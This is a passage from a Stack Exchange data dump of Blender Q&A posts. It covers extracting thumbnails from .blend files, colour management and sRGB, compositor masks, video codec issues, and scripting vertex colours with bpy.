  <row Id="35849" PostTypeId="1" AcceptedAnswerId="35850" CreationDate="2015-08-17T02:16:29.990" Score="3" ViewCount="803" Body="&lt;p&gt;I would like to retrieve &lt;code&gt;.blend&lt;/code&gt; file thumbnails without using Blender at all, just plain old python3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if it would be possible to explain how the &lt;code&gt;.blend&lt;/code&gt; file works and how the process of retrieving the thumbnail works?&lt;/p&gt;&#xA;" OwnerUserId="16469" LastEditorUserId="55" LastEditDate="2015-08-17T02:17:40.573" LastActivityDate="2015-08-17T05:23:01.910" Title="How to retrieve the thumbnail from a .blend file?" Tags="&lt;python&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35850" PostTypeId="2" ParentId="35849" CreationDate="2015-08-17T02:23:12.197" Score="6" Body="&lt;p&gt;Yes, this is possible and infact has been done already,&lt;br&gt;the script to do this comes bundled with Blender: see &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/bin/blender-thumbnailer.py&quot; rel=&quot;nofollow&quot;&gt;blender-thumbnailer.py&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Python script runs without Blender, eg extracting a PNG image from &lt;code&gt;my.blend&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender-thumbnailer.py /input/my.blend /output/thumb.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Details&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To extract the thumbnail from a &lt;code&gt;.blend&lt;/code&gt; file you have to use a basic &lt;code&gt;.blend&lt;/code&gt; file parser, however - this is written in such a way that its quite simple to extract the data without having to understand the entire blend file format, instead - you only need to read one of the serialized &lt;code&gt;BHead&lt;/code&gt; blocks. (See link above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;blender-thumbnailer.py&lt;/code&gt; as a reference: writing this in another programming language, or saving as a different image format should not be a very big task.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-17T05:23:01.910" LastActivityDate="2015-08-17T05:23:01.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35851" PostTypeId="2" ParentId="35797" CreationDate="2015-08-17T02:24:40.920" Score="2" Body="&lt;p&gt;Use the object like a dictionary to access and change properties&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Access&#xA;print (object['propertyname'])&#xA;&#xA;# Change&#xA;object['propertyname'] = 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2015-08-17T02:24:40.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35852" PostTypeId="1" CreationDate="2015-08-17T02:41:12.830" Score="1" ViewCount="515" Body="&lt;p&gt;What are reasons my UV map doesn't show up in 3D view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Odstc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Odstc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D view in object and edit mode only shows a wireframe.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5cTsl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5cTsl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I render, I can see the UV map applied.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xl0UX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xl0UX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16471" LastActivityDate="2015-08-17T07:53:49.793" Title="Texture shows in render but not in 3d view" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-08-17T23:55:49.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="35853" PostTypeId="1" AcceptedAnswerId="35860" CreationDate="2015-08-17T03:55:59.667" Score="9" ViewCount="2024" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UqXHD.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqXHD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this pic. I want only the eyes to glow without the armor glowing too (The armor got a glossy shader).&#xA;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="16261" LastActivityDate="2015-08-17T14:58:25.353" Title="One part of the render layer glowing?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35854" PostTypeId="2" ParentId="35722" CreationDate="2015-08-17T04:57:45.543" Score="13" Body="&lt;p&gt;Edit: Note this is an ancient answer, pre-Filmic Blender. The TL; DR version is that you must always pixel manage everything. Do not turn transforms off, and appropriately tag your buffers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No matter how many times I try to read about color spaces, I always&#xA;  feel like I've walked into a movie 45 minutes late.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Don't feel too bad as there is so much misinformation out there and confusion that many artists end up following what amounts to digital alchemy rituals in order to get things right. The best advice I can give you is to figure out who you believe you can listen to, and ask as many questions as you can until the subject is absolutely clear. Your work will most certainly be elevated once you manage to grab onto the rather slippery subject.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since I'm looking at Blender with a computer screen which presumably&#xA;  already has a limited color space (compared to human vision) why would&#xA;  I want to push a button that at least appears to limit it even&#xA;  further?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a seemingly simple question that has a massive set of roots under the surface. The TL;DR is that if you don't enable sRGB, the result is wrong.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I like the colors I see when sRGB is turned off, but should I be using&#xA;  it anyway?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;TL; DR: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you took the time to ask the question, I'll do my best to try and give you an entry level conceptual framework to work with. Hopefully it will aid your understanding and help you grasp a little bit more about colour and its management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Two Sides to Colour&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the core of colour and how it is encoded into data are two loose concepts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is the colour of the light, or in colour nerd terms, &lt;em&gt;chromaticity&lt;/em&gt;. When we think of an RGB triplet of data, we have to ask ourselves what the values mean. RGB data is merely an arbitrary numerical representation of three primary lights for each of the red, green, and blue channels. If I were to say &quot;Hey, grab a flashlight in your house that looks red and turn the slider up to 0.8-ish.&quot;, that is roughly what we are communicating when we fail to use colour spaces and colour management; we are communicating absolutely nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without associating the RGB encoded values to a colour space, we are speaking gibberish. We know nothing about the actual colour of the light on your flashlight, nor do we know what the heck 0.8 means in any meaningful representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the chromaticities of the primary lights, we also have what is known as &lt;em&gt;a transfer function&lt;/em&gt;, sometimes erroneously called &quot;gamma.&quot; This is a term that describes how the values relate to each other in intensity, where the ground truth is a radiometrically linear quantity of light in relation to a scene or a display’s output. 0.8 in our example above tells us absolutely nothing about how intense the value is in relation to the other values because we don't really know anything about the encoding system used nor how the transfer function is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Colour Space&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the above issues, we need more information than purely the relative RGB data. We need to communicate what the values actually mean in relation to some known standards or ratios. If we know what the colours of the primary RGB lights are in absolute terms, what the transfer function ratios are for the data, and some other aspects, we could call that combination of variables a colour space; an encapsulation of a bunch of additional data not communicated with the relative RGB encoded data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sRGB is one such creature. sRGB has very clearly defined absolute chromaticities defined for each of the red, green, blue channels, as well as a defined white point. It also includes specifications for the transfer function. These facets allow us to 'decode' the RGB values in an image and properly communicate their intention and handling through a pipeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why Linear?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what does Blender have to do with all of this and why the hell do we see &quot;linear&quot; somewhere and what is sRGB and why? Why? WHY?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to this is rather simple. In practical terms, Blender is completely blind to the colour of the lights (see chromaticity above) and merely worries about performing math on the data values. Cycles, however, is a ray tracer and attempts to, as best as it can with a tri-colour or &lt;em&gt;tristumulus&lt;/em&gt; model, emulate real-world physics when it comes to rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Real world physics is pretty simple when it comes to math. One unit of light plus one unit of light is, in shockingly, two units of light. Energies operate in a linear fashion, and as such, they behave very rationally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sRGB on the other hand, for various historical reasons and circumstances, is a non-linear colour space. That is, the transfer function portion of the colour space is bent in such a way that the values are not linearly related. 0.4 plus 0.4 in sRGB is not twice the radiometric amount of light! To see a quick visual effect of this non-linear nasty math, fill up a background in your favorite imaging application of full green and full blue for a cyan colour. Now take a fuzzy fully red brush and paint across it. See the nasty fringing? That is a result of bad and broken math due to a nonlinear reference space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you load an image in Blender, it is rolled through OpenColorIO. OpenColorIO is the library that handles and tracks all of the colour space related complexities. The goal of OpenColorIO within Blender is to make sure that the reference mixing space is always linearized such that Cycles can perform proper math for the imaging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Phew&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why sRGB? If we use a linearized reference space, and we were to dump those linear values direct to the display, our display's output would look wrong. In particular, it would look extremely dark because we haven't properly &quot;corrected&quot; the values back to a nonlinear response. When we select sRGB in Blender, we are telling the program to roll the linearized reference data back out through the correct nonlinear sRGB transfer curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we don't do this, the data is entirely incorrect for storage in a JPEG, a TIFF, or other such nonlinear wrappers. It is also completely incorrect for viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you are entering your values, you need to be certain whether you are entering tone response curved values or linearized values, and be absolutely careful at which point in the pipeline you are entering them. An image loaded from a JPEG would need to have its display referred non-linear data properly linearized to display linear before use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mix and match the values without care, the visible representation of the values will not match what is 'expected' from other applications that are likely using nonlinear sRGB values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is, despite being a long winded bunch of rubbish, only the tip of the colour space iceberg. There's so much more to expose yourself to that will almost certainly be interesting to anyone creating visuals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I didn't lose you, and I hope you manage to understand why you should be using that odd sRGB viewing transform. I also hope you try to learn a little more about the rather vast subject of colour management.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Addendum&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This answer was provided in the context of the default set of transformations present in Blender. The answer tackles &quot;Should there be a transform between the scene referred data and the display referred output?&quot; abstract question. To this end, the answer is provided in that context. If this is of interest, researching the various transforms that can be used to elevate scene referred rendering and imagery would be useful. There's more than a few of those out there now...&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2019-09-02T01:12:10.520" LastActivityDate="2019-09-02T01:12:10.520" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="35855" PostTypeId="2" ParentId="35844" CreationDate="2015-08-17T04:59:02.373" Score="4" Body="&lt;p&gt;Modern codecs like &lt;a href=&quot;https://en.wikipedia.org/wiki/AVCHD&quot; rel=&quot;nofollow&quot;&gt;AVCHD&lt;/a&gt;  often are not well supported by Blender's decoder. You may find that these clips are frame segmented, which Blender incorrectly treats as sort of interlaced, thereby reducing the frame number but maintaining frame rate. Only solution is to transcode into a format that Blender does understand. Check out &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?322306-Problems-with-MTS-(AVCHD)-files-video-is-twice-as-long-as-it-should-be&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; thread for details on the effect of frame segmented media in Blender. Sorry.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2015-09-08T12:50:47.733" LastActivityDate="2015-09-08T12:50:47.733" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35856" PostTypeId="2" ParentId="35699" CreationDate="2015-08-17T05:02:40.850" Score="1" Body="&lt;p&gt;You can also generate a timecode file for the clip (it lives in the proxy panel of strip properties), when creating the TC you can choose to NOT render a proxy. The playback of media should be much better. But transcoding to a more simple codec is best (less compression, more real frames).&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-08-17T05:02:40.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35857" PostTypeId="2" ParentId="35440" CreationDate="2015-08-17T05:04:49.717" Score="1" Body="&lt;p&gt;In theory, you could use OpenColorIO for such a transformation. OpenColorIO can be used to transform data to meet colour critical precision, transform into greyscale, create linearized or nonlinear transforms, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without knowing much more about your context, it is difficult to provide a more robust answer.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-08-17T05:04:49.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35858" PostTypeId="2" ParentId="35699" CreationDate="2015-08-17T05:24:44.743" Score="0" Body="&lt;p&gt;My guess is that you are dealing with an MPEG, AVCHD or similar compressed video file that is not using an &lt;strong&gt;Intra-Frame&lt;/strong&gt; compression scheme, but is using &lt;strong&gt;Inter-frame&lt;/strong&gt;. Inter-Frame is not great for editing because it does not contain the information for each frame but has certain keyframes and &lt;em&gt;delta frames&lt;/em&gt; that only record he changes from the prevous keyframe.&#xA;(read this: &lt;a href=&quot;http://www.pcmag.com/encyclopedia/term/45144/interframe-coding&quot; rel=&quot;nofollow&quot;&gt;http://www.pcmag.com/encyclopedia/term/45144/interframe-coding&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes (I know this from motion tracking footage) the direction in which the stream is read will make a difference and will yield errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To correct this you'd need to &lt;strong&gt;transcode&lt;/strong&gt;  your source to an image sequence, or a codec that is using intra-frame (unique frames)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-17T05:24:44.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35859" PostTypeId="2" ParentId="35780" CreationDate="2015-08-17T05:53:09.423" Score="2" Body="&lt;p&gt;I examined the screen shots, and then examined the blend file, and found immediately what the problem is. The geometry does not match across the joints in the body. I opened your blend file, combined the front fender, door, and rear fender into the same object using &lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;J&lt;/kbd&gt;, and with the side view selected, switched into edit mode. Here is a screen shot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I1Wp7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the front fender, you have five segments, and in the rear fender you have seven, but in the door you only have four. To have the meshes line up on either side of the joints, you need to have exactly the same geometry on either side of the joint, so you'll need to add two more segments on the front fender, and three more on the door, and the x and z values of each pair of vertices on either side of a joint along the front and rear door edges will have to be identical, with the only difference being a small variance in the x value of the vertices in each pair. The same will be true of the joints between the fenders and the hood, and between the rear fenders and the rear door. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were doing this model, I'd likely make the door, and two side fenders a single object, and when I had the whole side to my liking, go back, and add a couple of loop cuts to define the front and rear edges of the door. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-17T05:53:09.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35860" PostTypeId="2" ParentId="35853" CreationDate="2015-08-17T05:53:15.723" Score="13" Body="&lt;p&gt;Use a pass index on the material for the eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MtKly.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MtKly.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable material index on the layer passes.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/x9S9L.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x9S9L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a ID mask on the compositor and use the number of your material pass index to create a mask for the glow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iysm9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iysm9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w9ccC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9ccC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the glow yellow you can add color to the mask and change the final mix node's mode to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DTJ8T.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTJ8T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jzlu3.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jzlu3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-17T14:58:25.353" LastActivityDate="2015-08-17T14:58:25.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35861" PostTypeId="2" ParentId="35848" CreationDate="2015-08-17T05:56:21.777" Score="4" Body="&lt;p&gt;You have to make the following Node set up: Connect 'Mix Shader' node in the 'Material Output', then use as your first shader 'Diffuse' and plug in it your 'Image Texture' node, now connect 'Transparency' Shader as the second shader, and finally to the factor connect your 'Image Texture' once more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AJPB7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJPB7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-17T05:56:21.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35862" PostTypeId="1" CreationDate="2015-08-17T06:02:39.007" Score="1" ViewCount="77" Body="&lt;p&gt;I have set up some fire in my scene, using a domain with a custom material, an object whose flow is set to 0, etc. Basically, when rendering in the view port it works fine. But when I click the &quot;animate&quot; button to make my image sequence, no fire shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not very convenient for me to upload my .blend file, so I would just like a list of the possible solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the newest version of blender as of this post (I believe it's 2.74a).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my node setup:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ukDpp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukDpp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOLUTION&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the comment below, the Transparent setting in the film tab of the render settings was the problem.&lt;/p&gt;&#xA;" OwnerUserId="16474" LastEditorUserId="16474" LastEditDate="2015-08-17T16:50:34.003" LastActivityDate="2015-08-17T16:50:34.003" Title="Fire not rendering in cycles (img sequence)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-08-17T17:45:33.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="35863" PostTypeId="2" ParentId="35829" CreationDate="2015-08-17T06:22:10.097" Score="1" Body="&lt;p&gt;Are you sure it does really &lt;em&gt;render&lt;/em&gt; the empty scene (maybe add some meshes and lights to test this)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have file output nodes and no composite output blender will show an empty render image when finished with the compositing since it got nothing to show from your node pipeline. So just add a composite node as output to your node setup like John Roper said ...&lt;/p&gt;&#xA;" OwnerUserId="16031" LastActivityDate="2015-08-17T06:22:10.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35864" PostTypeId="1" AcceptedAnswerId="35868" CreationDate="2015-08-17T06:46:17.507" Score="13" ViewCount="1869" Body="&lt;p&gt;I'll have about 1000 cubes, with the color of each top face, and the color of the other five faces of each cube set by an algorithm in a script, basically two NumPy arrays. Right now I just create two diffuse materials in script attached to each cube, and continuously update the values with statements something like &lt;code&gt;this_cube.data.materials[5].diffuse_color = (r, g, b)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there an even more primitive way I can pass an RGB value directly to a face of each cube, or are dedicated materials the only (or recommended) gateway. I'm using cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I haven't actually had a problem using materials, but I want to check if I'm missing a better method when I scale to larger problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NumPy arrays can be pre-calculated and saved to disk if necessary. They change as the animation (simulation) progresses, but this is just one more dimension in the arrays &lt;code&gt;top_color[nframe, nx, ny, 3]&lt;/code&gt; and &lt;code&gt;other_color[nframe, nx, ny, 3]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-17T07:20:59.643" LastActivityDate="2015-08-18T19:30:34.217" Title="Is 2000 materials a lot? Is there a better way?" Tags="&lt;scripting&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35865" PostTypeId="1" AcceptedAnswerId="35867" CreationDate="2015-08-17T07:01:18.570" Score="0" ViewCount="1946" Body="&lt;p&gt;I am using UV mapping for exporting textures to unity. Firstly i map the object with smart uv mapping and then bake it. After that I save the image as png;  add it into material as texture of object in unity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that process should I save and export blender file again after mapping objects or can i just use texture files directly? How unity understand UV maps if I just add textures as png files? I am assuming composite nodes are not exported with that method. Are there any method for exporting composite nodes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And are there any easier method?  &lt;/p&gt;&#xA;" OwnerUserId="16475" LastActivityDate="2015-08-17T07:25:29.080" Title="UV mapping for exporting blender textures to unity" Tags="&lt;uv&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35866" PostTypeId="1" CreationDate="2015-08-17T07:10:11.900" Score="1" ViewCount="31" Body="&lt;p&gt;I am following a blender tutorial and on the tutorial, the guy is able to access a section of the textures tab called Mapping and Influence but I am not able to see that anywhere on mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine is on the left, his is on the right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQDH8.png&quot; alt=&quot;&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/TOi8O.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I access the mapping section on blender 2.75&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16476" LastEditorUserId="599" LastEditDate="2015-08-17T07:27:17.633" LastActivityDate="2015-08-17T07:39:44.333" Title="Cannot access mapping section of the texture tab" Tags="&lt;texturing&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-17T07:39:56.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="35867" PostTypeId="2" ParentId="35865" CreationDate="2015-08-17T07:25:29.080" Score="0" Body="&lt;p&gt;You have to export your model again once you UV mapped it, because unity will not be able to get the UV data as your model don't have them.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-17T07:25:29.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35868" PostTypeId="2" ParentId="35864" CreationDate="2015-08-17T07:26:38.977" Score="19" Body="&lt;p&gt;Is 2000 materials a lot? It's a big number, but Blender can handle it. The real question is; is there a more manageable way. Maybe a way that lets you define one material, and use some property of the individual objects as a source for the color?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes there is. There's two parts to this answer.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 1 : Vertex Colors (layer)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;code&gt;obj.data.vertex_colors&lt;/code&gt; on the Object's Mesh to set the RGB of the faces. This is per vertex per face, the code is very simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;mesh = obj.data&#xA;polygons = mesh.polygons&#xA;vcols = mesh.vertex_colors&#xA;&#xA;if len(vcols) == 0:&#xA;    vcols.new()&#xA;&#xA;color_layer = vcols[&quot;Col&quot;]&#xA;&#xA;r, g, b = 0.3, 0.2, 0.9&#xA;&#xA;for face in polygons:&#xA;    for v_idx in polygons[face.index].loop_indices:&#xA;        color_layer.data[v_idx].color = r, g, b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eha9N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eha9N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 2 : Shader Tree 'Attribute Node'&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This Node has a text field where you can specify the &lt;code&gt;vertex_colors&lt;/code&gt; layer by name, by default it's &lt;code&gt;'Col'&lt;/code&gt;, but you can name it what you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ySefp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ySefp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the effect of the &lt;code&gt;vertex_color&lt;/code&gt; layer in the 3d viewport (without rendering) Swith to &lt;em&gt;Vertex Paint&lt;/em&gt; mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZrNfH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZrNfH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Assigning one material to mutiple Objects&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once you have a material configured and want to share it over all objects in question, you can iterate over all these objects and do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;common_material = bpy.data.materials[some_named_material]&#xA;for obj in objects_in_question:&#xA;    obj.active_material = common_material&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Things to consider&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You raised another question about whether it might be easier to create the cubes as part of one object. That's totally doable if you keep track of the vertices and indices of the individual cubes ( at that point they are disjoint submeshes ) and when you know the face indices of each cube setting the vertex_color layer information is easy enough.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Doing it all as one object means you will need only 1 vertex color layer, and 1 material.&#xA;You could even use the &lt;code&gt;foreach_set&lt;/code&gt; construct, it's perfect for meshes with uniform vertex-per-face counts (ie, all Tris, all Quads.. all N-gons)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # flattened_list = 